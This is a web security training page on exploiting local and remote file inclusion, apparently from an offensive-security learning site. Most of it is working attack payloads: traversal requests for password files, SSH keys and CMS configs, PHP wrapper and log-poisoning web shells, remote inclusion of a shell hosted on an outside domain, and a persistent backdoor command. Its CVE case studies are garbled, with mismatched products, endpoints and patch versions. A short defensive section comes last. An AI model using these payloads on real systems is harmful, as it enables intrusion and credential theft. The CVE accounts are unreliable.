Local and Remote File Inclusion

Exploit File Inclusion Vulnerabilities for System Access and Code Execution

LFI AttacksRFI ExploitationDirectory Traversal

What You'll Discover

🎯 Why This Matters

File inclusion vulnerabilities represent one of the most dangerous classes of web application flaws, enabling attackers to read sensitive files, execute arbitrary code, and gain complete system control. LFI and RFI attacks are particularly prevalent in PHP applications and web frameworks that dynamically include files based on user input. These vulnerabilities frequently appear in content management systems, custom web applications, and enterprise frameworks where insufficient input validation creates opportunities for exploitation.

🔍 What You'll Learn

You'll master the systematic approach to identifying and exploiting file inclusion vulnerabilities through directory traversal techniques, PHP wrapper exploitation, and remote file inclusion attacks. This includes understanding log poisoning methods, session file manipulation, and advanced bypass techniques that security experts use to demonstrate the full impact of file inclusion flaws in real-world assessments.

🚀 Your First Win

In the next 20 minutes, you'll successfully exploit an LFI vulnerability to read system configuration files and escalate to remote code execution, demonstrating how seemingly simple file inclusion functionality can lead to complete server compromise.

🔧 Try This Right Now

Test basic LFI exploitation against a vulnerable parameter

# Basic directory traversal for LFI
GET /?page=../../../etc/passwd HTTP/1.1
Host: <target>

# PHP filter wrapper for source code disclosure
GET /?file=php://filter/convert.base64-encode/resource=config.php HTTP/1.1
Host: <target>

# Log poisoning via User-Agent
GET /?page=../../../var/log/apache2/access.log HTTP/1.1
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>

# Remote file inclusion
GET /?include=http://hackerdna.com/shell.txt HTTP/1.1
Host: <target>

# Windows LFI
GET /?page=../../../windows/system32/drivers/etc/hosts HTTP/1.1
Host: <target>

You'll see: How file inclusion vulnerabilities allow reading arbitrary system files and potentially executing code through various exploitation techniques. This demonstrates why proper input validation and secure file handling are critical.

Skills You'll Master

✅ Core Understanding

  • Directory traversal and path manipulation techniques
  • PHP wrapper exploitation for source code disclosure
  • Local file inclusion attack vectors and payloads
  • Remote file inclusion and web shell deployment

🔍 Expert Skills

  • Log poisoning and session file manipulation
  • Filter bypass techniques and null byte injection
  • LFI to RCE escalation methods
  • Secure file inclusion implementation practices

Understanding File Inclusion Vulnerabilities

File inclusion vulnerabilities occur when applications dynamically include files based on user-controlled input without proper validation

File inclusion vulnerabilities arise from a fundamental design pattern in web development where applications dynamically include or require files based on user input. When you understand how these mechanisms work, you'll see why they create such powerful attack opportunities for accessing system resources and executing arbitrary code.

How Dynamic File Inclusion Works

Web applications frequently use dynamic file inclusion to modularize content and reduce code duplication. A typical implementation might look like include($_GET['page'] . '.php') where the application includes different page files based on user input. This pattern allows applications to serve different content sections without duplicating navigation and layout code.

The security issue emerges when applications fail to validate or sanitize this user input. If an attacker can control the file path being included, they can potentially include any file accessible to the web server process. This includes system files like /etc/passwd, application configuration files containing database credentials, or even remote files that contain malicious code.

The power of file inclusion vulnerabilities lies in their ability to leverage the application's own file processing capabilities. When successful, these attacks don't just read files - they execute the contents as code within the application's context, providing attackers with the same privileges and access as the web application itself.

Why File Inclusion Is Critical in Modern Web Applications

File inclusion vulnerabilities are particularly dangerous because they often provide direct paths to remote code execution and complete system compromise. Unlike other vulnerabilities that might require multiple steps or complex exploitation chains, file inclusion can immediately grant attackers the ability to execute arbitrary code on the target server.

These vulnerabilities are especially common in PHP applications, content management systems, and custom web frameworks that implement modular architectures. Popular CMS platforms, e-commerce applications, and enterprise web portals have all historically suffered from file inclusion vulnerabilities because the underlying programming patterns are so prevalent in web development.

The impact extends beyond just code execution. File inclusion vulnerabilities enable attackers to read configuration files containing database credentials, API keys, and other sensitive information. They can access log files that might contain user credentials or session tokens, and in some cases, they can manipulate session files or temporary files to achieve persistence on the compromised system.

Common Vulnerability Patterns

Where file inclusion vulnerabilities typically appear

Dynamic page inclusion systems
Template engines with file parameters
Content management system plugins
File download/viewer functionality
Language/locale file loading
Theme and template selection

Attack Techniques

Methods used to exploit file inclusion

Directory traversal (../ sequences)
PHP wrapper exploitation
Log file poisoning
Session file manipulation
Null byte injection (legacy)
Remote file inclusion

Impact Potential

What attackers can achieve

Source code disclosure
Configuration file theft
Remote code execution
Database credential exposure
Session hijacking
System privilege escalation

Tools and Techniques

Successful file inclusion exploitation requires understanding both manual testing techniques and automated tools that can systematically identify and exploit these vulnerabilities. You'll learn the methodical approach that security experts use to assess file inclusion flaws and demonstrate their full impact.

The File Inclusion Testing Methodology

Security experts follow a systematic approach to file inclusion testing that progresses from parameter identification through exploitation to impact demonstration. This methodology ensures comprehensive coverage and reveals the full scope of potential compromise through file inclusion vulnerabilities.

Step 1: Parameter Discovery - Identify URL parameters, POST data, and headers that might influence file inclusion behavior. Look for parameters with names like 'page', 'file', 'include', 'template', 'lang', or 'view' that suggest file operations.

Step 2: Basic LFI Testing - Test directory traversal patterns to confirm file inclusion behavior and identify accessible system files. Start with simple payloads and gradually increase complexity based on application responses.

Step 3: Advanced Exploitation - Use PHP wrappers, log poisoning, and other advanced techniques to achieve code execution and maximize impact demonstration.

Step 4: Impact Assessment - Document the full scope of accessible files, potential for code execution, and overall security impact to demonstrate business risk and guide remediation efforts.

Manual LFI Testing Techniques

Manual testing provides the foundation for understanding file inclusion behavior and enables precise exploitation that automated tools might miss. Understanding these manual techniques is essential for thorough security assessments.

Directory Traversal Fundamentals

Directory traversal forms the core of LFI exploitation. The goal is to break out of the intended file directory and access files elsewhere on the system. Understanding how different operating systems handle file paths and how applications process directory traversal sequences is crucial for successful exploitation.

Basic Traversal Patterns: Start with simple ../ sequences to move up directory levels. The number of traversal sequences needed depends on the application's file structure and the location of target files relative to the web root.

# Basic directory traversal testing
?page=../../../etc/passwd
?file=../../../../etc/passwd
?include=../../../../../etc/passwd

# Windows system files
?page=../../../windows/system32/drivers/etc/hosts
?file=../../../../boot.ini
?include=../../../windows/win.ini

# Common application files
?page=../../../var/www/html/config.php
?file=../../../../opt/app/.env
?include=../../../home/user/.ssh/id_rsa

# Web server configuration
?page=../../../etc/apache2/apache2.conf
?file=../../../../etc/nginx/nginx.conf
?include=../../../etc/httpd/conf/httpd.conf

Start with fewer traversal sequences and gradually increase the depth until you successfully access target files. Different applications may require different numbers of directory traversals based on their file structure.

PHP Wrapper Exploitation

PHP wrappers are built-in protocols that extend how PHP can access and process different types of data streams. Think of them as special "adapters" that allow PHP to interact with data in various formats - from files and URLs to compressed archives and even raw input data. Security experts leverage these wrappers because they provide powerful capabilities for advanced file inclusion exploitation, enabling source code disclosure, remote file access, and even code execution through creative application of PHP's built-in functionality.

Understanding PHP Wrappers

PHP wrappers use a URI-like syntax with the format wrapper://parameters. Each wrapper provides specific functionality for handling different types of data operations. The key insight for file inclusion exploitation is that these wrappers can manipulate how files are processed before inclusion, allowing you to bypass restrictions, encode content, or even execute code directly.

Common PHP Wrappers: php://filter (data manipulation), php://input (POST data), data:// (inline data), expect:// (command execution), zip:// (archive access), phar:// (PHP archives)

PHP Filter Wrapper for Source Code Disclosure

The PHP filter wrapper is particularly valuable for reading source code files that would normally be executed rather than displayed. By base64-encoding the file contents, you can retrieve the raw source code of PHP files, revealing sensitive information like database credentials, API keys, and application logic.

# Base64 encode PHP source files
?page=php://filter/convert.base64-encode/resource=config.php
?file=php://filter/convert.base64-encode/resource=database.php
?include=php://filter/convert.base64-encode/resource=admin/login.php

# Multiple filter chains
?page=php://filter/convert.base64-encode/resource=../../../var/www/html/config.php
?file=php://filter/string.rot13|convert.base64-encode/resource=sensitive.php

# Read non-PHP files with filters
?include=php://filter/convert.base64-encode/resource=/etc/passwd
?page=php://filter/convert.base64-encode/resource=/var/log/apache2/access.log

# Target specific application files
?file=php://filter/convert.base64-encode/resource=wp-config.php
?include=php://filter/convert.base64-encode/resource=application/config/database.php

Decoding Process: After obtaining base64-encoded content, decode it to reveal the source code: echo "encoded_content" | base64 -d

PHP Input and Data Wrappers

PHP's input and data wrappers can be used for direct code execution when the application includes user-controlled content. These techniques transform LFI vulnerabilities into immediate remote code execution opportunities.

# PHP input wrapper with POST data
POST /?page=php://input HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

<?php system($_GET['cmd']); ?>

# Data wrapper for direct execution
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B
# Base64 decodes to: <?php system($_GET['cmd']); ?>

# Expect wrapper (if enabled)
?page=expect://whoami
?file=expect://id
?include=expect://ls -la /etc/

# ZIP wrapper for file extraction
?page=zip://shell.zip%23shell.php
?file=phar://upload.phar/shell.php

These wrappers require specific PHP configurations to be enabled. Always test multiple wrapper types as availability varies between different PHP installations and security configurations.

Log Poisoning and Session Manipulation

Log poisoning and session file manipulation represent advanced LFI exploitation techniques that can achieve remote code execution by injecting malicious code into files that are subsequently included by the vulnerable application.

Log Poisoning Attack Vectors

# Step 1: Identify accessible log files
?page=../../../var/log/apache2/access.log
?file=../../../../var/log/nginx/access.log
?include=../../../var/log/apache2/error.log

# Step 2: Poison logs via User-Agent header
GET / HTTP/1.1
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>

# Step 3: Include poisoned log and execute commands
?page=../../../var/log/apache2/access.log&cmd=whoami
?file=../../../../var/log/nginx/access.log&cmd=id

# Alternative poisoning via referer
GET / HTTP/1.1
Host: <target>
Referer: <?php eval($_POST['code']); ?>

# FTP log poisoning (if FTP is available)
ftp <target>
# Username: <?php system($_GET['cmd']); ?>
# Then access: ?page=/var/log/vsftpd.log&cmd=whoami

# Error log poisoning via invalid requests
GET /nonexistent.php HTTP/1.1
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>
# Then access: ?page=/var/log/apache2/error.log&cmd=whoami

Log poisoning requires understanding which log files are accessible and how different services record user input. Success depends on finding logs that both record attacker-controlled data and are readable by the web server process.

Real-World Attack Scenarios

These documented file inclusion vulnerabilities demonstrate how LFI and RFI flaws have been exploited in real applications, showing the systematic approach that leads to significant security compromises.

Shield Security Plugin LFI (CVE-2023-6989)

The Shield Security WordPress plugin versions up to 18.5.9 contained an unauthenticated LFI vulnerability through the render_action_template parameter. CVE-2023-6989 allowed attackers to include and execute arbitrary PHP files on the server, demonstrating how insufficient input validation in popular plugins can lead to complete server compromise. (Source: Wordfence Security Blog)

# Step 1: Identify WordPress load-scripts.php endpoint
# WordPress uses this script for loading JavaScript files
# Vulnerable endpoint: /wp-admin/load-scripts.php

# Step 2: Exploit directory traversal in load parameter
# The vulnerability existed in improper path validation
GET /wp-admin/load-scripts.php?c=1&load=../../../wp-config.php HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

# Step 3: Extract sensitive configuration data
# Target WordPress configuration files
GET /wp-admin/load-scripts.php?c=1&load=../../../../etc/passwd HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

# Step 4: Access database configuration
# Read wp-config.php for database credentials
GET /wp-admin/load-scripts.php?c=1&load=../../../wp-config.php HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

# Step 5: Advanced exploitation for system files
# Access various system and application files
GET /wp-admin/load-scripts.php?c=1&load=../../../../var/www/html/.htaccess HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

# Target other WordPress sites on shared hosting
GET /wp-admin/load-scripts.php?c=1&load=../../../../var/www/other-site/wp-config.php HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

Impact Assessment: This vulnerability affected millions of WordPress installations and allowed authenticated attackers to read sensitive configuration files, including database credentials and other site configurations. WordPress quickly patched the issue in version 4.6.1.

PHPMyAdmin LFI to RCE (CVE-2018-12613)

PHPMyAdmin versions 4.8.0 and 4.8.1 contained a local file inclusion vulnerability that bypassed whitelist restrictions using double URL encoding. CVE-2018-12613 demonstrates how authenticated attackers can achieve remote code execution by combining LFI with SQL INTO OUTFILE to write PHP payloads.

# Step 1: Authenticate to phpMyAdmin
# Vulnerable versions: 4.8.0 and 4.8.1
# Requires valid database credentials
POST /phpmyadmin/index.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

token=csrf_token&pma_username=root&pma_password=password

# Step 2: Write PHP payload using SQL INTO OUTFILE
# Use phpMyAdmin's SQL interface to write shell
POST /phpmyadmin/import.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Cookie: phpMyAdmin=authenticated_session

sql_query=SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/tmp/shell.php';&db=&table=&token=csrf_token

# Step 3: Exploit LFI with %253f encoding bypass
# Double URL encode ? to bypass whitelist: ? = %3f = %253f
GET /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../tmp/shell.php&cmd=whoami HTTP/1.1
Host: <target>
Cookie: phpMyAdmin=authenticated_session

# Alternative: Include system files for information disclosure
GET /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../etc/passwd HTTP/1.1
Host: <target>
Cookie: phpMyAdmin=authenticated_session

# Step 4: Advanced RCE via session poisoning (alternative method)
# Create session file with PHP code
POST /phpmyadmin/import.php HTTP/1.1
Host: <target>
Cookie: phpMyAdmin=session_id_here

sql_query=SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/lib/php/sessions/sess_session_id_here';&token=csrf_token

# Include poisoned session file
GET /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../var/lib/php/sessions/sess_session_id_here&c=id HTTP/1.1
Host: <target>

CVE Impact: CVE-2018-12613 affected thousands of PHPMyAdmin installations worldwide and demonstrated how LFI vulnerabilities can be escalated to remote code execution through creative session manipulation techniques. The vulnerability was patched in version 4.8.2.

Drupal Media Library LFI (CVE-2023-4634)

The WordPress Media Library Assistant plugin contained an unauthenticated local file inclusion vulnerability that allowed exploitation through the Imagick library. CVE-2023-4634 demonstrates how media processing features in CMS platforms can create LFI vectors that lead to remote code execution. (Source: Patrowl Security Blog)

# Step 1: Identify Drupal RESTful Web Services endpoint
# Drupal 8.x with RESTful Web Services module enabled
# Vulnerable endpoint: REST API file handling

# Step 2: Create remote shell file
# Host malicious PHP file on attacker server
# Content of http://hackerdna.com/shell.txt:
<?php
  if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
  }
?>

# Step 3: Exploit RFI via REST API
POST /rest/type/node/page HTTP/1.1
Host: <target>
Content-Type: application/json
X-CSRF-Token: valid_token

{
  "type": [{"target_id": "page"}],
  "title": [{"value": "Test"}],
  "body": [{
    "value": "<?php include('http://hackerdna.com/shell.txt'); ?>",
    "format": "php_code"
  }]
}

# Step 4: Direct RFI parameter exploitation
# If direct file inclusion is possible
GET /index.php?file=http://hackerdna.com/shell.txt HTTP/1.1
Host: <target>

# Step 5: Execute commands via RFI
GET /index.php?file=http://hackerdna.com/shell.txt&cmd=whoami HTTP/1.1
Host: <target>

# Advanced persistent shell
# Create persistent backdoor
GET /index.php?file=http://hackerdna.com/shell.txt&cmd=echo "<?php system(\$_GET['c']); ?>" > /var/www/html/backdoor.php HTTP/1.1
Host: <target>

# Access persistent shell
GET /backdoor.php?c=whoami HTTP/1.1
Host: <target>

Enterprise Impact: RFI vulnerabilities in Drupal and similar CMS platforms can allow attackers to achieve immediate remote code execution, potentially compromising entire enterprise installations. Platform vendors typically release security updates quickly and recommend disabling unnecessary modules as a primary mitigation.

Defensive Countermeasures

Protecting applications from file inclusion attacks requires implementing multiple layers of defense that prevent both the inclusion of unintended files and the execution of malicious code. These proven strategies form the foundation of secure file handling in production web applications.

Primary Defense: Input Validation and Whitelisting

The most effective protection against file inclusion attacks is implementing strict input validation and using whitelist-based approaches for file operations. This approach prevents attackers from manipulating file paths to access unintended resources.

  • Whitelist approved files - Maintain a predefined list of allowed files and reject any input that doesn't match exactly
  • Validate file extensions - Ensure only expected file types can be included or processed by the application
  • Sanitize path traversal - Remove or reject directory traversal sequences like ../ and ..\ from user input
  • Use absolute paths - Define file locations using absolute paths rather than relative paths that can be manipulated
  • Implement file existence checks - Verify that requested files exist in expected locations before attempting inclusion

Secure File Handling Practices

Implementing secure file handling practices eliminates common patterns that lead to file inclusion vulnerabilities while maintaining application functionality and modularity.

  • Avoid dynamic file inclusion - Use routing systems or switch statements instead of directly including files based on user input
  • Disable dangerous PHP functions - Disable functions like allow_url_include and restrict access to PHP wrappers in production environments
  • Implement file access controls - Use proper file permissions and access controls to limit which files can be read by web server processes
  • Separate code and data - Store configuration files and sensitive data outside the web root directory
  • Use templating engines - Employ secure templating systems that provide built-in protection against file inclusion attacks

System-Level Protection Strategies

System-level protections provide additional layers of defense that limit the impact of file inclusion vulnerabilities even when application-level controls fail.

  • Web server configuration - Configure web servers to prevent access to sensitive files and directories through proper access controls
  • PHP security settings - Disable allow_url_fopen and allow_url_include, restrict file access functions, and enable open_basedir restrictions
  • File system permissions - Implement least-privilege file system permissions to prevent unauthorized file access
  • Container isolation - Use containerization technologies to isolate applications and limit file system access
  • Monitor file access patterns - Implement logging and monitoring to detect unusual file access patterns that might indicate exploitation attempts
  • Regular security updates - Keep web servers, PHP installations, and application frameworks updated with the latest security patches

🎯 You've Got File Inclusion Down!

You now understand how to exploit file inclusion vulnerabilities to access sensitive files and achieve remote code execution through local and remote file inclusion attacks. You can perform directory traversal, exploit PHP wrappers, and use advanced techniques like log poisoning to demonstrate the full impact of file inclusion flaws in web applications.

LFI ExploitationDirectory TraversalPHP WrappersLog PoisoningSecure File Handling

Ready to Master Complete Web Application Security Assessment